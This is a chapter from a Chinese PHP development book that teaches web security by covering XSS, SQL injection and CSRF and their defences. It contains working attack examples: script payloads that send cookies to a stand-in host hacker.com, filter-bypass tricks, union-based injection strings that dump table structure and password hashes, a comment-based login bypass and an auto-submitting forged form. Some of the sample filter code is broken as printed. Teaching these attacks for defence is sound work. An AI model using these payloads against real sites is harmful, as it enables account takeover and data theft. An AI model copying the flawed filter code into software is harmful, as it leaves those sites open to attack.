#安全性   作为一个技术人员,不能犯两种错误,一个是安全问题一个是高并发的问题, 如果一个产品出现了这两个问题失去大量用户。 这节我们重点说说安全问题,下节将会讲解高并发的问题。   安全问题的出现的原因是我们太信任用户输入的内容,对用户输入的内容没有进行严格的过滤。我们要了解一些常见的安全漏洞,如XSS、Sql注入、CSRF等,以及知道如何过滤用户输入内容,防止这样的安全问题。下面列举一些常见的安全问题。 ## XSS   Cross-site scripting,缩写CSS又叫XSS,因为层叠样式表也叫CSS,所以一般我们用XSS这个简称,中文意思是跨站脚本攻击。黑客主要是用javascript脚本语言来攻击网站,可以利用XSS漏洞盗取用户的cookie,然后达到盗号的目的。   举一个真实的案例, 2014年的7月, 秘密APP的后台被黑客攻击, 如图1-34,黑客可以用管理员的身份登陆后台,能查看所有用户的秘密了,秘密已不成秘密,那用户用着还放心吗?(PS:这事秘密官方当时已妥善解决,没有让黑客泄露用户隐私,漏洞已修复,现在还是可以放心用的。) ![](https://box.kancloud.cn/2016-01-12_56951563586a1.png) 图1-34 秘密APP被攻击的微博   黑客是如何知道后台地址的,又如何盗取到管理员账号的?   其实很简单,黑客发布一条带js代码的秘密, 后台人员在审核这台秘密时就会盗取信息, 黑客在发布的秘密中会带如下js代码: ```<script> (new Image()).src="http://hacker.com/?cookie="+document.cookie+"&url="+location.href </script> ```   代码中的 hacker.com 是黑客自己的网站。 后台往往是web界面,可以执行js代码。 当管理员在后台查看黑客的秘密时,管理员的cookie 和后台地址会传到黑客的网站被记录下来。这样黑客就盗取了管理员的cookie 。黑客再把自己浏览器的cookie设置和管理员一样,然后访问后台地址就能以管理员身份登陆后台。   所以我们不能相信用户输入的任何内容,要过滤用户输入的内容,不能让用户提交js代码。但在过滤的时候注意思考全面,避免黑客能绕过过滤规则。下面相信说几种黑客可能会绕过过滤规则的情况。 * 1,绕过strip_tags的过滤。   PHP的string_tags 可以过滤掉html标签,黑客提交的js代码中<script>和</script>都会被过滤掉,从而让js代码不能被执行。然而,如果黑客输入的内容是显示在一个标签的属性上面,黑客一样有方法执行js代码。 比如黑客输入的内容为`" onclick="alert(1)` 而此内容会显示在input标签的value属性中。那么html渲染完的代码为: `<input value="" onclick="alert(1)" />` 。 黑客先用一个双引号闭合了input标签value属性的双引号, 然后再制造了一个onclick事件,在输入框被点击时触发onclick事件中执行js代码,这段内容没有任何html标签, 用strip_tags函数过滤也没有用,从而黑客绕过了strip_tags的过滤   所以为了预防这种情况,我们不仅要用strip_tags过滤用户输入内容,还需要用htmlentities函数转义引号,第二个参数要设置为ENT_QUOTES,这样单引号和双引号都能被转换。 双引号将被转换为`&quot` , 单引号将被转换为`&#039;` 这种被转换的引号能在网页中正常显示,但不能作为闭合属性的引号。   有的人可能有侥幸心理,觉得在onclick事件上不能写太多代码。`alert(1)`只是黑客用来测试漏洞的简单代码,让页面弹出一个提示框, 一旦发现漏洞黑客就会写更复杂的js代码来攻击我们网站的。如,黑客可以用下面代码盗取cookie: `<input value="" onclick="void(function(){ (new Image()).src='http://hacker.com/?cookie='+document.cookie+'&url='+location.href }())" />` &nbsp;&nbsp;&nbsp;&nbsp;黑客通过在void里面构造一个闭包函数的方式,可以写很多复杂的代码,甚至可以再加载一个js文件: `<input value="" onclick="void(function(){ var temp = document.createElement('script');temp.src = 'http://hacker.com/other.js';document.body.appendChild(temp) } }())" />` &nbsp;&nbsp;&nbsp;&nbsp;然后黑客在other.js文件中想写多少代码都行,所以别认为一个事件上面不能写太多代码。 * 2,用Unicode编码绕过过滤。   jQuery是能解析Unicode编码的,如果用户输入的内容经过jQuery处理,那么黑客就可以用Unicode编码来绕过strip_tags和htmlentities函数的过滤。大家可以测试这样一段代码: ``` <script> $(function(){ $('#test').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e'); }); </script> ```   这段代码是往一个id为test层设置html内容,设置的内容是Unicode编码。大家可以在网上找一些unicode转码解码工具测试,这段Unicode编码对应的明文代码为: ``` <script>alert('xss')</script> ```   我们运行代码时发现js代码被执行了,而黑客输入的是一段Unicode编码, 没有任何html标签也没有引号,黑客通过这种方式能成功绕过 strip_tags和htmlentities函数的过滤.为了防止黑客用Unicode编码攻击,我们可以替换反斜杠, 没有反斜杠黑客不能构造Unicode编码。 可用下面方法替换反斜杠 ``` str_replace('\\','&#x005C;') ```   被替换后的反斜杠能在网页中正常显示,都不能作为恶意代码进行攻击。 * 3,其他注意的地方   通过上面的过滤在某些情况下黑客可能还是能绕过,如果用户输入的内容显示在 a标签的href上,黑客可以输入`javascript:alert(1)` , a标签最终代码为 `<a href="javascript:alert(1)">链接文字</a>` ,则其他用户点击这个a标签就会触发js代码。 类似的如果用户输入的内容是显示在style属性上,因为IE浏览器的CSS支持expression表达式,可以用expression构造js代码, 黑客输入内容为`width: expression(alert(1))` , 渲染的html为`<div style=“width: expression(alert(1));">` 这样就js代码就被执行了。 上面两种情况都是前面过滤方法不能过滤的, 我们还应该替换javascript关键词和expression关键词。 ``` str_ireplace(array(‘script’,’ expression’),array(‘script’,’ expression’),str); ```   上面代码将script中t字母替换为全角的t字母, 将expression的n字母也替换为全角的,这样他们不能当代码执行了。   注意要用替换的方法,不要用删除的方法, 用删除的方法黑客一样可以绕过的, 比如我们删除script字符串。 黑客可以制作一个字符串`scrscriptipt` 被删除一个script字符串后会新得到一个script字符串。   我们总结上面的过滤方法,然后封装一个比较安全的过滤函数: ``` function filter($input){ $input=strip_tags(trim($input)); $input=htmlentities($input,ENT_QUOTES,'UTF-8'); $input=str_ireplace( array('\\','script','expression'), array('&#x005C','script','expression') ); return $input; } ```   用这个过滤函数后,用户不能输入html标签了, 一些需要富文本编辑器输入的地方,我们不能用html编辑器了,可以用markdown或ubb编辑器   除了过滤用户输入内容,还可以加上下面两种方法增强系统的安全性。 * 1,设置httponly   httponly是http协议的内容, 所有的浏览器都遵守协议实现了httponly, 如果设置cookie时带有httponly ,则 这个cookie只能用于http传递,不能被js读取,从而防止了黑客用js读取用户cookie。   php的session要开启httponly需要设置php.ini配置文件 ``` session.cookie_httponly = On ``` * 2,强制重置session_id   session是基于cookie来实现的, 在浏览器cookie中有一个PHPSSESID的cookie就是session_id,用户如果不清空浏览器cookie,那么这个用户的session_id可能永久不变,即使用户重新登录也是老的session_id,一旦这个session_id被黑客盗取,黑客不管隔多长时间使用都可以,显然是十分危险的。   我们不能让这个session_id长期不变, 在登录程序的地方执行代码`session_regenerate_id(true)` 可以强制用户浏览器更换一个新的session_id ## SQL注入   SQL注入的漏洞出现是因为我们没有对用户输入的内容进行严格过滤,黑客输入的内容可拼接SQL语句去操作数据库。   比如我们有一个显示文章的页面(如图1-35), 访问地址为http://domain.com/article.php?id=1。 ![](https://box.kancloud.cn/2016-01-12_569515636bafa.png) 图1-35 SQL注入示例   地址上会传递参数id, 是文章的id,一般都是数字类型的, 程序会用这个id拼接sql语句然后查询数据库。 假设PHP拼接SQL语句的程序为: ``` $sql="SELECT `title`,`content` FROM `article` WHERE `id`='{$_GET['id']}'"; ```   上面代码没有对参数id进行任何过滤,直接用于拼接SQL语句,就会产生SQL注入的漏洞,黑客可以拼接自己的SQL语句,像这样传递id参数: ``` http://domain.com/article.php?id=1' and sleep(10) -- ```   那么实际执行的SQL语句为: ``` SELECT `title`,`content` FROM `article` WHERE `id`='1' and sleep(10) --' ```   黑客用单引号做闭合,然后执行自己的sql语句。 在SQL语句中两个中线(--)表示注释,黑客注释掉了后面的单引号。 一般用sleep来测试是否有SQL注入漏洞,如果页面真的等待时间10秒,就证明网站有SQL注入漏洞, 那么黑客就会接着继续攻击,获得更多网站的信息。   黑客拼接如下URL: ``` http://domain.com/article.php?id=-1' union select 1,2 -- ```   执行的实际SQL会为: ``` SELECT `title`,`content` FROM `article` WHERE `id`='-1' union select 1,2 --' ```   上面SQL语句,字符串“1”会显示在标题的地方, 字符串“2”会显示在文章内容的地方(如图1-36)。    ![](https://box.kancloud.cn/2016-01-12_5695156389f84.png) 图1-36 用数字占位后的结果   上面拼接的SQL语句需要说明两点。 * 1,用select 1,2 来确定字段个数和字段显示位置。   select的数量要和实际SQL语句读取的字段个数一致, 因为上面例子的SQL语句只读取了title,content 两个字段,所以 select 1,2 能正常显示, 如果SQL读取的是三个字段, 那么应该拼接 select 1,2,3 才能正常显示。黑客在这里尝试几次后就知道了SQL语句读取了多少个字段并且每个字段显示在哪个位置。 2,id要设置为-1   union联合查询的功能是让新数据库拼接到老数据库后面,如果传参id为1能查询出来了文章,那么1,2会拼接到文章后面,如图1-37。 ![](https://box.kancloud.cn/2016-01-12_569515639930b.png) 图1-37 union查询当id为1时   而文章详情页只会把第一条数据显示出来。我们让传参id就需要传为-1,让第一条数据查询不出来,那么数字就会去占文章标题和文章内容的位置,如图1-38。    ![](https://box.kancloud.cn/2016-01-12_56951563a6eee.png) 图1-38 union查询当id为-1时   页面上都用1,2这样的数字占位后,黑客再把数字替换为自己想查询的信息。   比如我们让“1”的位置显示为数据库版本(如图1-39):   URL地址: ``` http://domain.com/article.php?id=-1' union select version(),2 -- ```   实际执行的SQL语句: ``` SELECT title,content FROM `article` WHERE `id`='-1' union select version(),2 -- ' ``` ![](https://box.kancloud.cn/2016-01-12_56951563b48cb.png) 图1-39 让“1”处显示数据库版本 从而知道了mysql的版本是5.1.73,如果黑客知道此版本有特殊漏洞,他再会采取相应的攻击。   还可以更多很多其他信息。   要查询当前连接的数据库可以拼接如下SQL; ``` SELECT title,content FROM `article` WHERE `id`='-1' union select database(),2 -- ' ```   要查询数据库结构可以拼接SQL为: ``` SELECT `title`,`content` FROM `article` WHERE `id`='-1' union 1, select (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x) --' ```   上面SQL语句通过读取information_schema这个系统数据库来查数据库的表结构。因为数据库结构信息量比较大,所以我们把它放在文件内容的地方,替换原来数字为2的地方。 ![](https://box.kancloud.cn/2016-01-12_56951563c8990.png) 图1-40 读取数据库结构   如图1-40,显示除了数据库结构,前面显示的是系统表的结构,后面会显示用户建的表的结构,结构太长截图中没有没有显示出用户表结构部分。 html的回车不会换行,只有br标签才能换行,所以直接通过网页看表结构不太直观。我们可以通过查看html源代码,这样的格式更直观,可以表结构是结构如下: ``` [ database_name ] >article > id [ database_name ] >article > title [ database_name ] >article > content [ database_name ] >user > id [ database_name ] >user > username [ database_name ] >user > password ```   上面结构表示在`database_name`这个数据库中有`aritcle`和`user`两张表。   通过查询出来的数据库结构,我们发现数据库中有一个表叫user表,我们要获得user表的数据,拼接如下SQL即可: ``` SELECT title,content FROM `article` WHERE `id`='-1' union select username,password from user-- ' ``` ![](https://box.kancloud.cn/2016-01-12_56951563e08d9.png) 图1-41 查询用户名和密码   如图1-41,我们查出一条数据用户名为admin,密码是加密过的,密文为`e10adc3949ba59abbe56`如果密码的加密方式简单,甚至连密码的明文也是能破译的。   黑客就是这样盗取了我们数据库的数据的。   我们再来看看经常听说的**万能登录密码**是什么。   如果网站的登陆程序有sql注入漏洞,甚至黑客不需要知道用户的密码就能登陆。   假设登陆程序PHP拼接SQL语句的程序为 ``` $sql=SELECT * FROM `user` WHERE `username`='{$_POST['username']}' AND `password`='{$_POST['password']}'; ```   程序中对POST传参username和password没有任何过滤,所以会有SQL注入漏洞。   黑客输入username为`admin' -- ` , password 输入任意的字符串。   这样实际执行的SQL预计为 ``` SELECT * FROM `user` WHERE `username`='admin' -- ' AND `password`='xxxx' ```   因为password的判断被双中线注释掉了, 所以只要用户名存在就可以登陆。   SQL注入的漏洞危害极大,然而预防方法却是比较简单的。   编程语言都会提供专门的过滤函数用于防止SQL注入, PHP如果使用PDO连接数据库, 可以用`PDO::quote` 或`PDO::prepare` 对用户传参进行过滤。如果是使用mysql模块连接数据库可以使用`mysql_real_escape_string` 函数进行过滤。 另外还有一个函数`mysql_escape_string`不推荐大家用这个函数过滤,这个函数过滤不了mysql宽字符串。其实这些过滤函数都是在转义单引号,防止黑客用单引号做闭合。但是,就和前面我们用Unicode代替js代码类似, SQL语句中也可以用宽字符代替单引号。`mysql_escape_string`这个函数不能过滤宽字符。   除了用编程语言提供的过滤函数过滤,还要注意下面几点。 * 1,SQL语句的值都要用单引号   SQL语句中如果是数字可以不用单引号, 比如 ``` SELECT `title`,`content` FROM `article` WHERE `id`=1 ```   这里的id数字1 可以不用单引号括起来,这个数字又是传递参数,没有用单引号是比较危险了。 黑客都不用闭合引号了,即使变量被数据库过滤函数过滤了,因为黑客输入信息中没有引号,黑客拼接的SQL语句一样能执行。 * 2,整数值的转换   如果SQL语句拼接的是整数的变量,这变量可以用intval函数强制转换为整数型,这样更加安全。 * 3, 变量在拼接SQL语句的时候过滤   比如: ``` $sql=“SELECT * FROM `user` WHERE `id`='".intval($id)."'" ```   这里的$id变量在拼接SQL语句的时候过滤。很多人觉得$id变量在SQL语句之前已经过滤了, 在这里拼接SQL时就可以不用过滤了, 这样很不保险,代码都是不断在修改的,很可能就会以后某个人会把之前的过滤代码误删了。   如果大家是用的像ThinkPHP这样的框架,可能自己拼接SQL的情况比较少,很多时候都是用框架提供的Model操作数据库。SQL语句的安全过滤在框架底层完成了。大家注意使用框架建议的安全用法,可能一不注意就没有经过安全过滤。   以ThinkPHP为例。 ``` M('table')->where(['name'=>$value])->select(); ```   where中传的的是数组时,框架底层会遍历数组然后做安全过滤。   下面这种写法,框架底层也会做安全过滤 ``` M('table')->where("`name`='%s'",$value)->select(); ```   但如果这样写,框架底层无法做安全过滤: ``` M('table')->where("`name`='{$value}'")->select(); ```   `"`name`='{$value}'"` 这是SQL语句的一部分,   不管用什么框架,都不要把需要过滤的变量拼接部分SQL语句再传给框架, 这样做框架底层是无法识别要过滤的变量的, 我们应该把要过滤的变量直接传给框架,这样框架底层才能知道哪个是需要过滤的变量。 * 4,设置好数据库权限   让MySQL数据指定的用户只能读取指定的数据库,不能读取其他数据库,这样避免有SQL注入漏洞,黑客通过读取系统数据库information_schema查到表结构,也能防止黑客库数据库操作。 * 5,增加表前缀   有时候黑客会猜测表名,比如,是否有user表,是否有member表等。我们可以给表加上前缀,预防因为我们用了常用的表名而被黑客猜测出来。 * 6,增强加密算法   对于用户密码,不用只是加点的md5加密, md5很多弱密码都能被破解, 尽量把密码的加密方式设计复杂一些,结合多种算法hash256,DES、md5等加密方式,还可以加盐值。 * 7,使用php-taint模块   php-taint是鸟哥写的一个可以自动检查安全漏洞的php扩展。 比如我们写一段有安全漏洞的代码 ``` <?php function test1($a){ echo $a; } function test2($a){ $link=mysqli_connect('localhost', 'user', 'password', 'dbname'); mysqli_query($link,"SELECT FROM `table_name` WHERE `a`='{$a}'"); } test1($_GET['a']); test2($_GET['a']); ```   此代码有两个漏洞: 传参没有经过任何过滤就显示出来,会有xss漏洞; 传参没有经过任何过滤就拼接SQL预计会有SQL注入漏洞。 因为我们安装了php-taint模块,运行这段代码,程序就会报错提醒我们可能有安全问题(如图1-42)。 ![](https://box.kancloud.cn/2016-01-12_56951563f2634.png) 图1-42 php-taint的安全提醒   报错直接显示在浏览器会影响网站的界面,如果开发的是API会导致输出的不是json格式。所以php-taint 和 SocketLog结合最完美,我们可以把安全报警显示在浏览器的console中(如图1-43)。    ![](https://box.kancloud.cn/2016-01-12_5695156410722.png) 图1-43 php-taint和SocketLog结合   即使我们有安全意识也有粗心的时候,偶尔忘记过滤变量,如果一个程序100处用户输入的地方, 99处你都过滤了, 而有1处因为粗心忘记过滤, 就会造成安全漏洞, 不要有侥幸心理,认为这个漏洞不会被黑客发现, 黑客找漏洞往往是用扫描工具扫描, 找到这个漏洞非常快。 很多漏洞都是因为粗心导致, 而php-taint能很好避免粗心的问题,即使我们粗心忘记了过滤一个变量,它也会报错提示我们。   在本书编写时 php-taint 最新版本为2.0.1 beta版,支持了php7。 因为是beta版,在用pecl安装的时候需要指定版本号 ``` pecl install taint-2.0.1 ``` ##CSRF漏洞   CSRF是 Cross-site request forgery的缩写,中文意思是跨站请求伪造,这种漏洞产生的原因是没有对用户提交数据做来源判断。 CSRF能强制用户做某种操作, 比如强制添加管理员、强制删除用户等。先举一个简单的例子,通过这个例子可以理解怎么强制用户做操作。   假设有一个论坛,用户退出程序`/loginout.php`,网站的退出按钮链接到这个地址,访问退出地址时程序会清空用户的session。现在一个搞破坏的人,在论坛上面发了一篇帖子, 这篇帖子中有一张图片    ``` <img src="/loginout.php" /> ```   而图片地址就是退出地址。 想想用户访问这篇帖子时,是不是就被强制退出了。 这就是强制用户做操作的一个例子。GET请求换成POST请求是一样有问题,黑客在自己的网站上面做一个页面,地址假设为`http://hacker.com/csrf.html`,这个页面上有一个隐藏的表单,能自动提交 ``` <form id="csrf_form" action="/bbs.com/loginout.php" method="post" target="csrf_frame"> </form> <iframe name="csrf_frame" style="display:none;"></iframe> <script> document.getElementById('csrf_form').submit(); </script> ```   然后黑客在论坛上面发帖,帖子中有刚做好的页面链接,然后诱导用户去点这个链接,一旦用户点开这个链接,就强制被执行了退出操作。   刚只是退出账号的功能还好,如果是添加管理员,删除用户等操作有这样的漏洞那危害性就比较大了。别以为添加管理员的程序做好了权限判断,只有超级管理员才能添加管理员。 黑客知道了添加管理员的地址和添加管理员要提交的用户名密码等参数, 他就可以制作一个自动提交表单的页面,把用户名密码这些参数写好,然后诱导超级管理员去点击这个链接,而超级管理员以前浏览器登陆过后台,所以有权限添加管理员, 这样超级管理员就不知不觉添加了一个新管理员,而这个新管理员是黑客知道用户名和密码的。 那么黑客就可以去登陆系统后台了。   **防止CSRF攻击有三种方法** * 1,判断请求来源。   程序可以用`$_SERVER['HTTP_REFERER']`获得请求的来源,判断来源域名是否为自己网站的域名。来源验证通过了才进行相应操作。这样黑客在自己的网站地址下伪造请求,因为来源验证不能通过,所以不能强制用户操作。 * 2,验证码   在提交form表单的时候,显示一张验证码图片, 用户要输入验证码正确才能进行相应操作,因为验证码是动态变的,每次都不一样,所以黑客自己的自动提交表单的程序,无法动态设置验证码这个参数。   验证码在生产的时候程序已经把验证码的值存到了session,用户提交请求时程序只是判断用户输入的验证码是否和session中的验证码值一致,验证通过才做相应操作。   但如果每个表单提交操作都用验证码,用户会觉得操作繁琐,会流失用户,所以建议大家只在关键操作的时候使用验证码。在注册的时候使用验证码不仅能防CSRF攻击,还能防止机器注册。 * 3,令牌验证   令牌验证的原理其实和验证码不差多,只是不让用户手动输入验证码了。 程序在显示form表单时候会生成一个隐藏域,这个隐藏域的值是一个随机字符串,这个隐藏域就是令牌, 程序在生成令牌的时候其实已经把令牌的值session存储了, 在提交请求时,程序判断提交过来的令牌是否和session中的值一致,验证通过才做相应操作。这里的令牌就像验证码,只是这个验证码不用用户手动输入了,而在表单的隐藏域自动填好了验证码的值。   同样,黑客是无法动态改变他写的自动提交表单程序中令牌参数的,所以无法进行CSRF攻击。   令牌验证的功能是很多框架自带的,ThinkPHP设置配置项`TOKEN_ON`为true就可开启令牌验证。   需要提醒大家的是:令牌验证只能防CSRF攻击,是不能防机器注册、机器抓取的,有些人误认为令牌验证还能防机器程序,令牌的值就在页面中,机器程序时能识别读取出来的。 程序要判断是机器操作还是人在操作,只能通过验证码,手机短信验证,限制访问频率等手段。 ## 其他安全问题   本章详细介绍了三种常见的安全漏洞。而程序容易出现安全问题的地方还有很多,比如上传文件没有判断文件格式会导致黑客上传WebShell攻击网站,还有linux服务器也容易出现漏洞,我们用的运行环境nginx、Apache 等也可能会有潜在的漏洞, 多关注自己使用的开源软件, 及时升级,及时打上安全补丁。   如果你的产品做出名了,天天都会有黑客或竞争对手找你产品的安全漏洞, 产品出了安全问题往往是毁灭性的,大家一定要树立安全意识。